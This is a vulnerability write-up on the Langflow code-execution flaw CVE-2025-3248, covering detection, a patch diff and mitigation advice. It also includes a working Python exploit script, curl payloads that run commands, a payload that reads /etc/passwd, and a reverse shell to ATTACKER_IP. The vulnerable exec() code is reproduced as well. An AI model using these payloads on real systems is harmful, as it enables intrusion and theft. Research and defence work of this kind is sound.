skip to content
← back to catalog
ES
FILE №001 · CLASSIFICATION RESEARCH ·

Langflow RCE (CVE-2025-3248)

#rce#critical#ai#CVE-2025-3248

Executive Summary

CVE-2025-3248 is a critical Remote Code Execution (RCE) vulnerability without authentication in Langflow, the popular open-source platform for building AI workflows with LLMs. With a CVSS of 9.8, it allows any attacker to execute arbitrary Python code on the server via the /api/v1/validate/code endpoint, which uses exec() without any sanitization or authentication. It has been added to the CISA KEV catalog due to confirmed active exploitation.

FieldDetail
CVECVE-2025-3248
CVSS9.8 (Critical)
TypeCode injection / RCE
VectorNetwork / No Authentication
AffectsLangflow < 1.3.0
Patched inLangflow 1.3.0

What is Langflow?

Langflow is a low-code visual tool for building AI applications using Large Language Models (LLMs). It allows data engineers and developers to create AI pipelines by dragging and dropping components. Its popularity has grown exponentially in the generative AI ecosystem, making it a very attractive target.

The problem is that Langflow exposes a code validation endpoint which, in versions prior to 1.3.0, requires no authentication and directly executes the submitted code.


Technical Analysis of the Vulnerability

The vulnerable endpoint: /api/v1/validate/code

Langflow includes functionality that allows users to validate custom Python code snippets for their components. This endpoint internally uses Python’s exec() function on user-provided code.

Actual vulnerable code

# langflow/api/v1/validate.py (versions < 1.3.0)
from fastapi import APIRouter

router = APIRouter()

@router.post("/validate/code")
async def validate_code(code_request: CodeRequest):
    """
    Validates user code by parsing the AST.
    ❌ NO AUTHENTICATION DECORATOR — any user can access
    """
    code = code_request.code
    
    try:
        # Parses code into an AST (Abstract Syntax Tree)
        tree = ast.parse(code)
        
        # ❌ VULNERABLE: exec() executes code directly
        # without sandboxing or security validation
        exec(code, {"__builtins__": __builtins__}, {})
        
        return {"valid": True, "message": "Code is valid"}
    except SyntaxError as e:
        return {"valid": False, "message": str(e)}

Why are decorators and default arguments the key?

The most interesting technical nuance of this vulnerability is how the code gets executed. Python evaluates certain elements during function definition, before the function is ever invoked:

1. Execution via decorators

# Decorators execute IMMEDIATELY when the definition is parsed
import os

def malicious_decorator(func):
    os.system("id")  # ← Executes when defining the function
    return func

@malicious_decorator  # ← Executed during ast.parse + exec
def innocent_function():
    pass

2. Execution via default arguments

# Default values are evaluated when DEFINING the function
import subprocess

def innocent_function(
    x=subprocess.check_output(["cat", "/etc/passwd"])  # ← RCE
):
    pass

Both vectors allow arbitrary code execution before the function is ever called, simply by being processed by exec().


Proof of Concept (PoC)

Python exploit

#!/usr/bin/env python3
"""
Langflow RCE PoC — CVE-2025-3248
Code execution via /api/v1/validate/code
FOR EDUCATIONAL PURPOSES ONLY
"""
import requests
import sys
import json

def exploit(target_url, command="id"):
    endpoint = f"{target_url.rstrip('/')}/api/v1/validate/code"
    
    # Payload that abuses decorators to execute commands
    malicious_code = f'''
import subprocess
import os

def rce_decorator(func):
    result = subprocess.check_output("{command}", shell=True)
    print(result.decode())
    return func

@rce_decorator
def validate_this():
    pass
'''
    
    payload = {"code": malicious_code}
    
    print(f"[*] Sending payload to: {endpoint}")
    print(f"[*] Command: {command}")
    
    try:
        response = requests.post(
            endpoint,
            json=payload,
            headers={"Content-Type": "application/json"},
            timeout=10
        )
        print(f"[+] Status: {response.status_code}")
        print(f"[+] Response: {json.dumps(response.json(), indent=2)}")
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <LANGFLOW_URL> [command]")
        print(f"Example: {sys.argv[0]} http://target.com id")
        sys.exit(1)
    
    target = sys.argv[1]
    cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
    exploit(target, cmd)

cURL exploit

# Minimal PoC with malicious default argument
curl -X POST "http://target.com/api/v1/validate/code" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "import os\ndef x(cmd=os.system(\"id\")):\n    pass"
  }'

Reverse shell

# ⚠️ AUTHORIZED ENVIRONMENTS ONLY
curl -X POST "http://target.com/api/v1/validate/code" \
  -H "Content-Type: application/json" \
  -d '{
    "code": "import os\ndef x(cmd=os.system(\"bash -c '\''bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\''\")):\ n    pass"
  }'

Detection

Indicators of Compromise

# Search for POST requests to the vulnerable endpoint
grep "POST /api/v1/validate/code" access.log

# Look for payloads with suspicious imports
grep -E "(os\.system|subprocess|exec|eval|__import__)" access.log

# Check for unexpected child processes from the Langflow process
ps aux | grep -E "(langflow|uvicorn)" | head -5
pstree -p $(pgrep -f langflow)

Sigma Rule

title: Langflow CVE-2025-3248 RCE Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects exploitation attempts of CVE-2025-3248 via the validation endpoint
logsource:
    category: webserver
    product: any
detection:
    selection_endpoint:
        cs-uri-stem|contains: "/api/v1/validate/code"
        cs-method: "POST"
    selection_payload:
        cs-body|contains:
            - "os.system"
            - "subprocess"
            - "exec("
            - "__import__"
            - "child_process"
            - "reverse_tcp"
    condition: selection_endpoint and selection_payload
level: critical
tags:
    - cve.2025.3248
    - attack.execution
    - attack.t1059

Real-World Exploitation Activity

CISA added CVE-2025-3248 to its Known Exploited Vulnerabilities (KEV) catalog confirming active exploitation. Observed activities include:

  • 🤖 Flodrix Botnet: Automated malware deployment on exposed Langflow instances
  • 🔑 Credential theft: Extraction of API keys for OpenAI, Anthropic, and other configured LLMs
  • 🖥️ Cryptomining: Leveraging GPU/CPU resources from AI servers for mining
  • 📊 Data exfiltration: Theft of training data and corporate prompts

Patch Analysis (v1.3.0)

The patch is conceptually simple but effective:

# langflow/api/v1/validate.py

+ from langflow.services.auth import get_current_user
+ from fastapi import Depends

  @router.post("/validate/code")
- async def validate_code(code_request: CodeRequest):
+ async def validate_code(
+     code_request: CodeRequest,
+     current_user: User = Depends(get_current_user)  # ← Requires auth
+ ):
      code = code_request.code
      # ... rest of validation

The fix places the endpoint behind authentication, requiring a valid user session. However, this does not eliminate the use of exec() — the risk is reduced but not fully eliminated for authenticated users.


Mitigation

Immediate

  1. Upgrade Langflow to version 1.3.0 or later
  2. Restrict network access to Langflow instances — do not expose to the Internet
  3. Rotate API keys for all configured LLMs if the instance was exposed

Additional recommendations

# Check if you have Langflow exposed
nmap -p 7860 --open -sV target-range

# Search for instances on Shodan
# shodan search "langflow" --fields ip_str,port,org

Secure architecture

  • Deploy Langflow behind a reverse proxy with authentication
  • Use network segmentation to isolate AI instances
  • Implement monitoring for calls to the /api/v1/validate/code endpoint
  • Consider using containers with minimal privileges (non-root)

References

// FIELD DISPATCHES

New recovered files, straight to your inbox. No noise.